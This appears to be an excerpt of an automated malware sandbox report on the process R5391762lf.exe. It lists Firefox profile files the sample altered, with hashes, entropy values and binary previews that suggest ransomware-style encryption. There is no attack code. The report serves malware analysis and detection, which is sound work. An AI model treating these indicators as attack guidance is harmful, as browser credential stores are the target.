.........."e."..........[;J.0.U..0".9u..[.Q.K+i....9<.mL.R.E.C.D*(.!e{.{..v..q.,.....MKO.YT.._U.Q..b..o...gq>$p.......S..{V.R...G....yZ.;.m..E...j_.,...;.q..e.n.4....Jq#.S]...u..i\|8...d..i.....p06

C:\Users\jones\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\session-state.json

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	495
Entropy (8bit):	7.457751600302439
Encrypted:	false
SSDEEP:	12:YWeIQLWxfINfbY1AZ4Nkd53R9d1ajKXqOTuWcii9a:YHNW1VAXvNajKXq8uWbD
MD5:	71A845E7DCF47D65D8256F7D551AD5BE
SHA1:	399E6642C6BF930185E6217117D490CF3DD8C18C
SHA-256:	A8B64BDF9BC4F0A6290CC04AA1946043626E94D8A95DF295A35EA81B129DB240
SHA-512:	04A7291A5199AF41A226CC5AE64DBD0DBE2B29E04A6FED51926F49FF794934BC3BA2D2929790E595713CC0DA5815445138C635A6ECCE2300AD4DD8AB1959A969
Malicious:	false
Preview:	{"sesN.x.-...~.....'....wt...BSe....6?k..<..F..]$..u..CO.UGK.S.:.....D..l.h.E..Tj.3.......L.g..s......7.nh....Xh.z.z3._...H..e..w.eL.....R'....T9..7.....Dl"C..Ji.V..`...o..%.Kf.D.i.h.m."0.%....C,.1..r.q...:.z*......W...:.0j..]...3....n...2.....n.G0..C.-....N.........}}..t.......s.p.l.J..._.A.Mx..........I.~r.lG;......l5.............)...p.s....\|W.....x...u:J..QA.0..0n.....\|m...`z.e].V.p.....=doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\jones\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\state.json

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	385
Entropy (8bit):	7.344754749764777
Encrypted:	false
SSDEEP:	12:YGTJs/TKV7l1kHdqDLjAsoP55mW+sNPTzECXqOTuWcii9a:Y/WV7Xk9qDvUm/sTzECXq8uWbD
MD5:	AA67F5732DDD8DE2A4BA35C7233AAA93
SHA1:	697F81A3371B875BDEB7792813DCBF47D1C504EA
SHA-256:	283671CBA49928F3DB7613923601E7312FFF8B007CFCB46DDF8755FAEC255B85
SHA-512:	34E093CD7C09C7B329F69C9666F9C422BBD3B47E5DD7C969F016099B9131A38E75FC0FCBBD725EDF8D66D1115543A8EC56EDC1A228A36E56906F07CE56829AC6
Malicious:	false
Preview:	{"clin....btO....,..}....A.U.W.&.(.{...E\|U........H`E..t....,)..L.."L...sh./W...G.,N.g.t.wT`...g.OBF...^P...}.U.....f.I.G%......?\|...9_I........2.......'.w..~y..m...\|....'E...tF...y.............5.X...'..].B2.h2.......s.m+....'UJ)U..)e.m&...?..B3.)......T.>.N.....Z.5z....t..Ex...e.Q...]'doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\jones\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\extension-preferences.json

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1423
Entropy (8bit):	7.871709738111194
Encrypted:	false
SSDEEP:	24:YnwU3HQirL9N+/Fo5oZuTQOxCiRFP/aASNQn+T4PceLLgHGmRhVn1VB0Jq5i+TwE:Yw3irL9NmZuTQO3FP/a3Nua4E1HG2hVF
MD5:	55E4210E9B7D755D2EB93D2CA385146D
SHA1:	D00EFBCEA6A47BDAA9CD6487C6EE39FAD8D72049
SHA-256:	E6F521B16EE1C010094C3EA748064111EF642476CA808ED6FAFB188A6A1F20F4
SHA-512:	D1EFB16B40F6859DD850F252E995219841B26B599DFC70D4EEC98C9E8B738E5C6A3791926075D296FFB61D392EE03028035CE744CB77DBAC50B46904F0182012
Malicious:	false
Preview:	{"for....[.86..^..LU...,=z....j.............]...+....m....qg~.I...".Mlj)...........5.......G4........z}..!...p(.\|..?rQTb^.0VG.k.Z,......S..?^YW..I.....1..3..<.7NJO[a.U.5c.....j...Hv....h....s..X8.WC..B...]..V...CH...S$.'....>.......G.....W/..mW..u.[....P.!.f)..U.. 8.A.9...5c.....y.P.;..q....{.,.b..u...O@_0xu+.7.E9E$,=".I.fj.{.<..rbs.....Z.Z.~J..#.B.VMcp.YT........v...n..~...j..(.B........M;..Hp.....I.`.U4...w.......~..y:&#..@e..9.g..p%m.tx......]. '.....cnW>.3Ka(3.&.8...a2.'..p9.....x.....N.X..[Y.T.F.u.i........+^.x.1e..p.>...6.....(.........\F...8..>.8.....+...9y.[a....9.D'..x\.N%.e3....{E..\|,}@..u.b!...........!:]..............)...i8....G3w=.\|R.......v._...u..jp..8.u....^Q. L.S3.C.K".l..!...:=..rD9.;..a....7\x.k......YB......,./A./.>[K..u.1 .p.......{.....-..X.%.....k .d.'......7...B...7....m.$.L{...'5.e.8...2n..............D'..u>...%...Hj`j3..vxT.I.........2]Ts...g.9..Q..._.z.>.m%......BY.4$.........R0.q...2(a.A.,.M.1y

C:\Users\jones\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\extensions.json

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	37164
Entropy (8bit):	7.995647974219872
Encrypted:	true
SSDEEP:	768:a6UgiEj71rPki8Wz3bT0/7FhGZAXnLAfPBjJgwv3uW7ttwef3:ab7alkDY4CZAXLAXBNn/uMtweP
MD5:	C6D83C0E2806F8354F659E48C2804DA6
SHA1:	D00CC41A731B2F4AD9A229C1A8B435308E296DFF
SHA-256:	C9B60EC66BB9C1D98CE6ED5822ADB5F03BE9F06295CCE2A9AF955B693A036CBD
SHA-512:	1CDCF7183E5D19039142C2412ED835DD2EF5D615CEB0268B42EEC4B4B522F33AA4697246D6F1E36A64E0D062F2E9A3DB018F76641B9A1FD4BB4678422192E137
Malicious:	true
Preview:	{"sch.B..}...n..,.....W.L%(.9..t....p.{>._..o..+....w..U..2.6.R...&+..1otE.0....6(..V.Gr...N...A..]...g.)..[...A..I..gr.Q.N)xT.$...G~-.....n<B...l...M..sN4..g..v.w....A.h.1q}.[..b..%...o&.t..o3.~........4.....q..s..p....P]........A.N .../.gW.Y}?/......<j....F..o.v.2Uo.-.lb...}qSs..c&CH. q.3..]..3...@.%...~._...+..W.!g.8...5...$..HD..;d....Y..bhu.c..[)x?:..l$.......Hw..f..U..c&.qr. ..%.........Us...Z.....X.i..%....^jS.D..<I..>.i...k..2y.]....?.#e..B...9....S^s....Y..F.-w.)@..i.r_.,Q.....?..U.\|...n.6.s.\|.....4&..9A^...Be...F....zA.&.. ..?.n..r..s...4...z),^...S.ry`'...N.~m:8t......F...RTUu.....iR..sl......U>t.../../K.......A.bY...j.b.;_y...!..v...u_...o.._..r.RG?..NK..W..L....a"...^....5.DH.....v..k.._....x'.yI.2eR."0.G$0Mt.....D.A.3.\|.kA..iOVP.. O.65.....a.\.3;.i.....s{.I.^2....`<._Y.h.<.?..$...id..Q..`.....N..i..z``.T.#......m....lT.:Q.j.............)$#9.2....B....j..*...]...,..9..Xs.e>@.....a...A...$^.w..L.....\|?.....h...S............0.

C:\Users\jones\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\favicons.sqlite

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	5243214
Entropy (8bit):	0.4266856729888716
Encrypted:	false
SSDEEP:	3072:2KbLiEyFtA7sjXiOxr8PP2oor64j74D5OQEDWigLKNo+tt+oxd+56u1:2cUSsbuxAAQDWqN1pdju1
MD5:	66E8B44B0B85E04B29EFB7442B91202E
SHA1:	AE2E38DCB047BCC82D316DDFC5A6CA6E30D5FB90
SHA-256:	1925FABBC2B5D23FD75FC77F93AF659824AC8E09123F3FD227303A699B279303
SHA-512:	A1A5B3E6D522EA78EE0E2758F3FAD5337726145AE52B2FA0D6D0B85A85D14597B2C37AC6728F17707F3A608C7EC45C2AD8BBB8F7680643CAF39CFBC79F63CFC4
Malicious:	true
Preview:	SQLit.D.\j......../...x.....[.P..?4PgE]v..J...]k.P....s.\|Ku.B..&.~..)...s?.%.a...Qq&.b...u".\|#.s..!{...K....0.....=.......R......+..7..}.V..F?.K^.o`y@.?fE......,..f.G...`...p{.7..^6..T.....3.(VF...S...u,(3hu....Yl.SL..(..bC.N~..T......E......+X.....<v0...@D..L[}.U...X...K...(......K.4p...G...^r.?....?...KF.L<2V.vQ..Z.S1..8...2~......R..G.0.9C...{...A.'.!.T...X.D.D....\|..N.j....8.<@...cJ".x.\|1-&j.p..}lk2.,t.C.~..E.^ ...u...\-.@~........1...q.)/.qQj...[....p\|K..I%Y.b.93njX.Y.U]Pq.:.G....~d.r"..}y/.xO....9.f.^5..=.[u...~.VJ.p.mm].[.J........u..S.'%........g. :.g.&...A.....2..%K....`....U.Rpc20....+1.%.&I...l.'...U.m.o..q.8...2..{<.#..jp^....:.R.........{^...7.{.U$#.2...h\|Oa....;*......d..yx%...6...@q..@.7.......9$.4..$g.q.[\|..X..(W.,.\|.e..q..C..?..0...4....Nitf.G..(.#...'.,T.n..Z...)K.g..A....R3...o[.r.@:.N.-.Q....4.(X._.Ag...Z..Z/.].<...8..+.f..s.w......] .&...i.....V+........x..Tq..O....#C.\|....+FA6..&M..3......X........)..3..8iw?.&...Z.)2"\

C:\Users\jones\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\favicons.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	33102
Entropy (8bit):	7.994401189083238
Encrypted:	true
SSDEEP:	768:KqASB4772ECBzaD8aGCO99vzv1CXnjuVerNVU3w1:KwWHrClaD5Glzzv1MuE86
MD5:	342BE3DB3E0D9A3BA1EE15816FA2CEA0
SHA1:	D55ED4FCFF5F87B68647AD37B19CF9167E601338
SHA-256:	4429AC25E372B8932CC8220560C13655E0DAE8636C89CCCC9AE91226220457B1
SHA-512:	B2ABC1BE391864E2E1B70DAA6421692F505D35421E0CCC07FC60C0C6487EF8555484C5685B7B4E6E5AB44782A5EFE5BA29492E6606111CCC3FFD0C2A7EA4EB02
Malicious:	true
Preview:	..-... ....2..:q.-..z.q...._....AG.i2.....h.(V.!_"O1.X[.z.8(n...].wwi.._.3....IM..+...c<.Z.o=g:.<bp..3..,Fe...W.0...RN..6I1..i.v...].UG.s.U..?.<...iR.].e....LUG......Z8 .Kk...lO{....}....6Y1Cf..\|.\.z..j....3S.@..Y.......2.:.1.m.......&...^.x."?...N^.......JH.........$......J.a..0.k....&.Q......7-..J.}.E.r.x...@...FvLJ..% A.S....<N....R\..H.7og.B.1-RoU&..;.aI....T.j.Pb.7.-0....i.^...9.o4...f.....}.W.e.c.N.a.....$li.P.S.....;.FQ....%....&.../.........Z<pf.ohs......a..[K..a..d.zhj.5.4[,.tF9.%Mz%.0oA/?QN...a.upJ.]`.........&.),....0k@?.V.[EWh...<.Tf..-..:[.2...:J.mA\V...[58.WI...k.:{.U$T(.R.L.:.[\|n...n.......6.(..p...I...3.3.../..3^........R..u~%9.."`dD>..>...&......X...=. ......V.A.U.DJTS.V....w...g.b...m.@..z........\|S...D....&....K.V.S.......].)pW..f.~....].../.uTP..XV.Z..Y.6.j.(Hj...."q(..\|~..N..s..3.g...cA..)b.d..zKk:re..S..A.......(...2WSg..!3U...,..L.AkA_y...P+... N..W&@<.7[.9...[...0.R....&...........!.Y\|7.sV........c.#bI+......t

C:\Users\jones\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\handlers.json

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	714
Entropy (8bit):	7.634854423876585
Encrypted:	false
SSDEEP:	12:Y6eFhB1YXryORKoh0whFdIfccXSdyjOcaOhI2r0atCRz0VHmv/DhklDzXqOTuWcq:Y6Kh4QSJKtHu2rhtCRYFGkRXq8uWbD
MD5:	1B64872C40418D883385806166F41D88
SHA1:	8ACB4FFF161AC76208E99AAB7AC00C1E781F23A2
SHA-256:	9897A92DAF1AB7E24A664F8380862DA1042378A7C2CAB331F0A39A0E15404F83
SHA-512:	CE339CAF666FBBAE9192FD231018F2E274379CE1F510AC96E53FFC41BEC9DBB9E730E198C9F16BC369B4A785E0A56AAF303EC3AFDB2811BA2AB59AB9608A964B
Malicious:	false
Preview:	{"def\..+S[O!<@.?.....p40....;....:...h......5........z1$=.d/.Y..+..8..>.......ZI...z.H..v.d.w.(a3a.vR........w...R..A...,..$F.7..8....s.w..88.p.S.r...FlR.w..^.....B...m.K]?F.....6.w.`..p..m....9..6.O....oS.....$...z.....+'.......lI.r{DB.-.......V.;;\.WXiJ.8hg..=.~...Z.5..L..q....156.g......[k^...zT.GCB..J.\"yk.,.P.F.....<..lb....9.YL..88..+MI.qJ.(.zm..Q..(.\....w2..K...A.)h.y...e.[?..;.N;...8...q=...C...g...(..@.+.../Dx.d....8}..3.\..u`]..u..pBG.`^hk6P.A..E..O7v......m...;.K.Mo3.p.>..80.._..d..aI..........&B.I...R.RJ..k..wp.v.CL9uEw>..\|.C_<q..U^-.....Dy5Q.L.+.e_..*......l...}.W.,...Sh.j..&.=.j.l..doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\jones\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	295246
Entropy (8bit):	5.156168637646895
Encrypted:	false
SSDEEP:	3072:/CFhV2VPYKMVTLvF59GvP8hieB0SX8q1Dix+z8K2weIPApVvQH5Gb:tVPY7TLvDUSieBjP1Dlz8Ju4Vvbb
MD5:	61A0E916F2405A6C6A44D7682E1FD0AE
SHA1:	8C7F552C8F2FD26A84A1D0F71E6F69099E31CFA1
SHA-256:	6A8AC91E811CEA7FD8D52D96D27F5EDEB1549A0ED57356E257CADC9CEE13F3BE
SHA-512:	7975654753EBE4C7A55CDF9CCB426ADEAE26081D2E0E58758245079697B1E0311A1CD9818DAB62F10F7D590992E41F4E59B89AD3450EC42BD0A0246215562781
Malicious:	false
Preview:	SQLit]..i...6..ku..w.?._..m.!D.2...%..;.y...a.{}-}.7v..;.$..8..v+'.I.....CZ`y.O... ..H3.V.#...1..4l.q> 9O!...Z.n..`5.....ps.7..sjg.L.... .4..#.y4x.5VZ..V...7.:..TkSi..gi[@B....Q.....f.../!..S...j...\|..Y....D.}.....Jd5.Gwu.(..G.tc+.hBw..$...d.....`5.....9.......=......Hv...f..]..B.T]...R. .u.k...\|.\|.v.....".>...?qQ(T!..M.D.s-..UK.....E.Q.>.._..Qj.B#P...e..s........,....-..^gI...qH....xp{.H.....>`.l....Y4.B.E...;7I..::r.kG..1.1.4.r.,L.LWh<....j.t.S..A.OC.....[............{......o.mJ.P]..4.t.,.TZ...E.{T..O...,...AT.......U.r"[..+..2.^...1..T.....$....pM!{I....D.....S...../.....h.y.^AMS.s..Y.\...c..</...X..sV..4#y?^.G-R;4.P....=.......\A_.._...@.bnX.i.. b$~ .pV..t.>ZT...tvjm....t.9.....5.D.Y.d...S.,"...6.N(E..0.....M..&/..B`4...]z.n.>.-..@E4.p_..M)........k..1..p.I...Q...~Y..G..N.....z..YLqh1.o......<[.J.d...4]t..Bg......u......1....J.d.Q.>...22...0...0H%.)...b.......F.C$..zw...q...B..#...Q.._....b..?.......=y..tN....;...B....*.. .k..m....}.'

C:\Users\jones\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\permissions.sqlite

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	98638
Entropy (8bit):	7.997820474520545
Encrypted:	true
SSDEEP:	1536:NMFFj+ITEecOtNvb+YamQ70w8a3JOf9utAfDvBccMuTjOoN:Ek9gpb+rL0wZ3R/FQLN
MD5:	729EAE6D7BE8282BB97686D7784C619A
SHA1:	FE58F8237CA81FC4892C03CDC21DE3849A324428
SHA-256:	B92FD429554162F1A7C7E42F2587E3022E88F4A249BB2ACE126160B629F2158A
SHA-512:	2F0CF278556BE710F37A7EEA397857C8CEF55827CBD6BCDC056EC40DA075C54E9F61E32631507C00D79DC7A1A55B543A9E8B15E127616B581E0EC43D5834041F
Malicious:	true
Preview:	SQLit.o..P.P;.?...%....B4...t....hZ.H.#.......6....H.Z-......@15aY...x.EY....K.gs\|2)..(!......Y.oE.m.....H".Vk.e..w>v...@h.>.[.....]F.3C..D..d.\.....<.dy.`.j.o.........L....h-..!.'Y..Z.={.].)....2.".......=.`...(.$.......P.....Da....V.j.>...@...`.w.y..<z..De..f.l.;.S.....]M....E.......Q.A...p.spQ;...Q/6s;z.G^GH.....{...J)+Q..h..f..^.D.=m.d&.I^..4.8.:.[....=..~.^;.C.=6....D.q.n...L.v.mz..^.&."^...i.....j&.@?~d.@.[I~..P....f.........O.x&{..............h...b~...$.._.ym.4...4.bf.<..$.0..PR.:............Q....~...\X.".+....\...?.W./..kY.yr.Bnh)P...!w..>....m...Cf!Z=..r..[...X...)}..C...}.B"........}...c?.y/p.ry.F....?..._5.7..{@K..4....H'.7..Abe..._.J..25.3..\....y..0..b.\|z..q..o.....t...\..`..d..)..=^o%Bu..."..P,... ..!..)..M^~iuH.E...0...:.......l=Mt..Ex..(..E..3.R[.;...=..e.@..p.....`...2.~h,.p-......8.k=..(.8...j........&K..O.e'....X.-.....4g.'............}...._../...O...YD8..\|H.S......q.G..S....^..?.U.:O}...;.]..w:..L.\.f...PJ.....$z}

C:\Users\jones\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\pkcs11.txt

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	7.7682523611532694
Encrypted:	false
SSDEEP:	24:d56cc1TIDNjRxYK2KaviIDkpetYGfVTiOw7aQAXq8uWbD:d56t1EZXYK2kTCYsoaQAXFuED
MD5:	F41842F1DD522409102EF04E96154384
SHA1:	6235A6BEBCBD53428256C653D49053B2B45647C6
SHA-256:	A55E2E79D405B391C2367B571ABA525E44209E2B43C72755C358A6E4C490068B
SHA-512:	069743A3643A4E4D5B35CED7C7F407FE42AA863F483CF0B8F1898AFB094E5473C974F7B7B70E0C598ED203822C3D66158D98C52ED3F657E93B8303D35DED6380
Malicious:	false
Preview:	libra........%..nFS..F......O..{8;...~M.d.k.c^k@...<L.q.z"D..>...ff."....F.-P.&I.7.'...b..i.........>..A..4Al.0.z..T..t~H...H.n.:..:J..v.h.EX..K.i.....B.W#..1..iL......#F...n..o..h.;.V.TW e..F..z.x[.Z..P{}....T.6N........:..w.......D.<....[..ra~..N._Vl?hm.v..pg....-=W........J.....g.........Hk7.ZN......D.).,.0w,.v.....>C.(.+Y.<?..5.,.mS.....f.a.V.9......F.M[u.2~._...C.z`.##.S.....}.. ........m.y.]H...p..V......... ....h..j..?.P.o.9...#.........ct...j.......E..fo?KX.Q[7a......&T.S...R.L...d[:.2...d.#....H...bJ....`.;........z..b.8;........>...8..G...,....):"..,.H.}..4....-.6.R....[.=~".'$D...P..n...}....`........G.R..m.{..Qy.U.Z..2.t.?'....Q..7...Z...>U..HQIt(Q(oa..Q.Lhz.f!........T...R.\.....n....S6.o*..lB...V.......Z.\|sS._\|..doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\jones\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	5243214
Entropy (8bit):	0.4322127414936243
Encrypted:	false
SSDEEP:	3072:lg1tprw/reJ4hQcCoGnZn6sMyom/Uzb4v8ND5:lerw/rWqTCoiN6TyBUv5
MD5:	ABDB5B980198E335B30592B69C088758
SHA1:	A21FAD46A523AE9144AB0A28FD7939AB4DAD877E
SHA-256:	71DACD5817206BC252B06E209BDE5C522F2B76A0F4172DF8DBCF1BF8FA12E451
SHA-512:	CF3308920ABE3C2003728232625CFFF9D6501D197979C2D947E925A490A83D1CDC17445F571D9CE64EBC5A7A13F9FA5EAB53654568C4BB82646F4B7AF2E944D8
Malicious:	true
Preview:	SQLit.....,........Ho.o.Ch.:k..W BM}..q.L.FuH.Ao.p.h.RZ....k......;q&.........;.s...B...........A..1I.Hw..T...}..U..K{..\|..............xH..v{.W.\.-....3..po.V.T.W.j..E....Y..=B.H..[.IU...~..K.....D3...u.\|Y...Jg]Gb.UIz...".`.O.........E...Q@...9.hD.x..WbF...'.R.Kq....{G....XN...P...-\T....v......y..:s<f.^1..[.....6:D.q..g&.M.L""w.u....qwA.B5E...g...`. ...x3.`T.A...P..'.ZD&...........9..u..g<.d.....}....A.....S....s.C...id......_0@."Mr.. _z3.=....?Hn..iG......[S....t...2..Hj...$.)kj......~.......c.W{e.....x..h.;.%]....P..A.....;../.m.......I.#H...E.t...$.....:.@...n/Is..}......zSE..h.Gi.u@...S`.`3....A.....w7..G...R.JzU.$!^g_......{&....[^moR....=S...pwQ..=fwk..D%3x\...,..........l.`?.B.........L.mC......Ze..).p..9E..;..J!.J.5a...dA8.O.s..bj..."..x^..X.`.....[.J....v..}.RE.a.D.......n.KQ.(........ET..&....b......(a.;..J..78IY....lfR.....@.p...u....._.-.r.."X.B*.?y....Q....xjy...bbZ....(....A.B.b.e1.....7R/WNW..FV.0.z<Ws.....4.L..,WS...M

C:\Users\jones\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	33102
Entropy (8bit):	7.994009853658885
Encrypted:	true
SSDEEP:	768:ZJ7xT1xWZrIvqYMocUQ4AzwTbaBPPlZP5ul80FwhDl34uSPLOB6:jtWZrIiYTvQ4AzCulZRuuWw1ltSjOB6
MD5:	A2CFD270EE7ED3C009BBCC5D9C1EDE8C
SHA1:	B7885A7842E2D28699A764AC451309F050406090
SHA-256:	F85492BC9C8B5525894CC64C95F089BB3FF584BC23B01F464010981DD156F0A6
SHA-512:	00C7F581E7B3A7F95A3049EFBFB20750A234CC60A312D84BDEDD33602423445AB38ED8BA0A9A8AE1DF28035D93A17570DAD97C86E0B9756E29DDBAFB96908D88
Malicious:	true
Preview:	..-.._-?B....,.cq....)2.9.J....?d..5..N;...+..T..s\|...<......c....(...uWs0gj...R..f...p....t.....==.n\zx...<!."....X........4kd:.s.1.@.U>s.......B..z)wZKI.IIUL....F..O.zR.D...T...8.....3..p.;..`O...eD..8_5.........$.V.C.?9..k..W..:.d+F.....S.x...$..OV.....0$.$....a..Id..[y.y...[.......D.o>a/..W..S...W..y3.3....f.=C....R_s....]u.....MAn.f......4{....7..5..K......j..1.V.W...eg.X'....S^.\|.tB...+.<c.........2w.Y.2....L..m.wV...H.)N..`..N...c...g.V-}7W....2.H..."....5..R.^....O/?b...j.....`.{..pl.+...+u.2.TW...>4..`V.Gv.Q..0b..`$......#.....%..!...i8..{V..9.7...z..Q....P......."\|...(.U&.M....J.U2.az<...)9.q.xKhs..E(.'..!..<......x.l{+..._..,_.r.D.j._%.UK...K..8v9.'...3.2....&......mB.I.G:.ov=..K.S(.Y.]...x.X.,....tn\..\5..G.&.w..zi&Y..]j....v.E'VgS....B~.U.V...G..k.4..........%...pN..K."kP%t......{>.}...:....0.9....M....C....a.W...(#:B/.`.0I...M..c..*..`...r].".-....{uKo.F$..C.0.....k.. .o{ ,W.....quH9D....PG..,..C.).....K..1wR..Z

C:\Users\jones\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	9905
Entropy (8bit):	7.979009111222697
Encrypted:	false
SSDEEP:	192:N1V6KzCT98N5/Kbm+lCigkGpsBpzs+Z1zww6HppdzsBi+vCISXlpCAv0lGfK7KGy:Nv6K+8NUb6xkz4mtvyppuHvT+/MlkRGy
MD5:	816C3E9A951FDADE648448E9AFDE6DFC
SHA1:	0C2DE3609963B1D291967DE33ECC5E44FE48D740
SHA-256:	667732F18151B499ECD93233FDBE9C32F2A98D30910D3C04805F2273F57D7701
SHA-512:	BACB5873A4A44826C14F2D0BC1376E394B4199338B34532EE0A20D7BE150B94F185DA09C8D6DDF766D4A35F70EC6BA1F28999E17EB3B94BE88736503F876509B
Malicious:	false
Preview:	// Mo .F..9..z.^...k..].f.5.j.6.....#.).7.~ofyD.M.5........^.+..ZH.........5.k....=x.r$.W.{p.8"C.U.`Y..98R..._<../0..........%.f_..`MH..W..lU..w%o..dXu.J .k..".~.\|....%.D.....;..IID..&.'....#..H.u..sGB6.Gg..\...-.....lvtW...S.33...2$..RX_8..52Z"....0.6.]....y.i.....X.....G2......z.q...K....v..N..>.EL.`y:....f.i.....~...X..4....AS....u......&.]jii....^tR.....Jlkp9e.i...x....`.....l.._......9d.6.....F.Z.K....E&^`_..H..#..k..?e.........8..$.......)...(.f.cMo.E.J....l.<.&.e?..ET....;Da...>..Z. .8.....a.~..?q\|Q.....A_.S?m..D..S....,..Mb.ME....q.:.4h..b%j.S.[.2...d.Ib...9.."..%..o...s.5<.....tu.D.\|s...CW....W.8.e.......1k...M..Zsu...vs.S.6.....T.?...iK..I.....O..m.......`.]../j.#....?".@f....&........,E.Y..dl............H.C....N..u&..0...:E.'...7.E.c...E..>86..5J.5:...>...MK.L....&)...Q..q..[.j..7.N^...OF.m...%3...4S........K...NC..]U.j.-D3...$.k..\__...<G.G..xw.....1.'p&....1Q`."p[..\|.Z\...-+.......+-..U.v.q.....YF..gI.!<=..2.M.Y.}.`.

C:\Users\jones\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\protections.sqlite

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	65870
Entropy (8bit):	7.997588012832184
Encrypted:	true
SSDEEP:	1536:3zJlOhbCGyzZRv6cMcBad7QmzClx3vZctDCbRYcdD1tx1mBee:tlcbCZ8N7+mzSctDBYD1PSee
MD5:	20D9A54749FFD7112A574BB11EE82C53
SHA1:	9F0789812E0C03397D803D228520B75F98457F1F
SHA-256:	EBF46B24DC495DF0076D051E7751DCF22B65E26FF1811C779FDE5E631308F0B0
SHA-512:	FCD0739415A6D9EFEA6F931F3176B1B33871657E18574C62900E14A64BC772DA1CFD7FD1357E7003E234CF5A4E376E5B3246EAFA23ADCA2D61C844FEA127A3C8
Malicious:	true
Preview:	SQLit..m............jP.`H.T..\5U...B..x.Q..+..i....fF..w.A...-9.m..a`~.=_..l.nY..d.a..9.J......_..B....UW".pIu.r.5...J...s..Q...W.G.....N..Od.V.B9....A.E..o...Q.HY...b._.j..\........HU...q..Y.7...%.Z.....5....S.<....A.....H....T....W."\"F_.=p....T@9.6I.fQ..o...].S.....`;+.UG..X....r...\.S.0h.......{k`I/..F.N..e...?.o.ti.$^.\-.Pb.-h.@...\.....9V..X8..!vM..0.-\..@.b.,.....DL?...)....*.6.K..u...,.eU...;Po..BS{dZ.....a\|?\|..B.E..,..8wF.x[.'.... .5..Xo.y+.N.<. D.$..qF..x.fpb!....SM...sAva./.Ql?.L.1&/,....E..>u...X..Qp..}....?...V.+.B]..j?Z..hH.........e3o....pOB.$..M...R....jD&..C.T.9......._u.C.7....h9.w.Eu..H...2a..g...H./.2QbB.._...K.`.v.@.hrM~(O.Q\AW._.....N..P.,0.<.6.........2R.....(^...`.+\(.A..9...e.y[.....Vs...dj..-.>..=/..p?[.g'./...H..n......j.Gy2...z..8f}MG.......-.'.5"pU;.0q.~h........A@.C..q.h.j1..&pg.u..$..\|?Y=...T..U......W".j.hf..pX...v....r(/..d....B^...X:..7.v.N_(H......#1.tcZ....a.nj.x=.B..n..\..Hxd..Xj...g..n^..'Xhi$...6..[4.M..o

C:\Users\jones\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\search.json.mozlz4

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	683
Entropy (8bit):	7.704096697335245
Encrypted:	false
SSDEEP:	12:GGst8S4Uh2q/ID5fkCFcYgbLQ8ThcmYEn/tN6IAOmzThgQsxDe2jw2+cRwwKuXq+:GZKgN/wMzYgbLx/p/XvAO+1P8ecHRRwI
MD5:	1BFB1930338A21988BA58F9CF567C835
SHA1:	25BC77C4B1AA332F745E367259D1AC6283617D27
SHA-256:	5EAB4978FF9384AB3089BC10DEAD1CD6848918FF1DD1C7C6D52A7FB3A5DE30AD
SHA-512:	55C690DB5F8D954B6C7912F942B90362409C53A70F2C631AF9728EBEC523DFA492A94342B27AD1558DD6DEC02C4CCB0ABD1CFCC4C62A1810F2DE2FEA2ED1501A
Malicious:	false
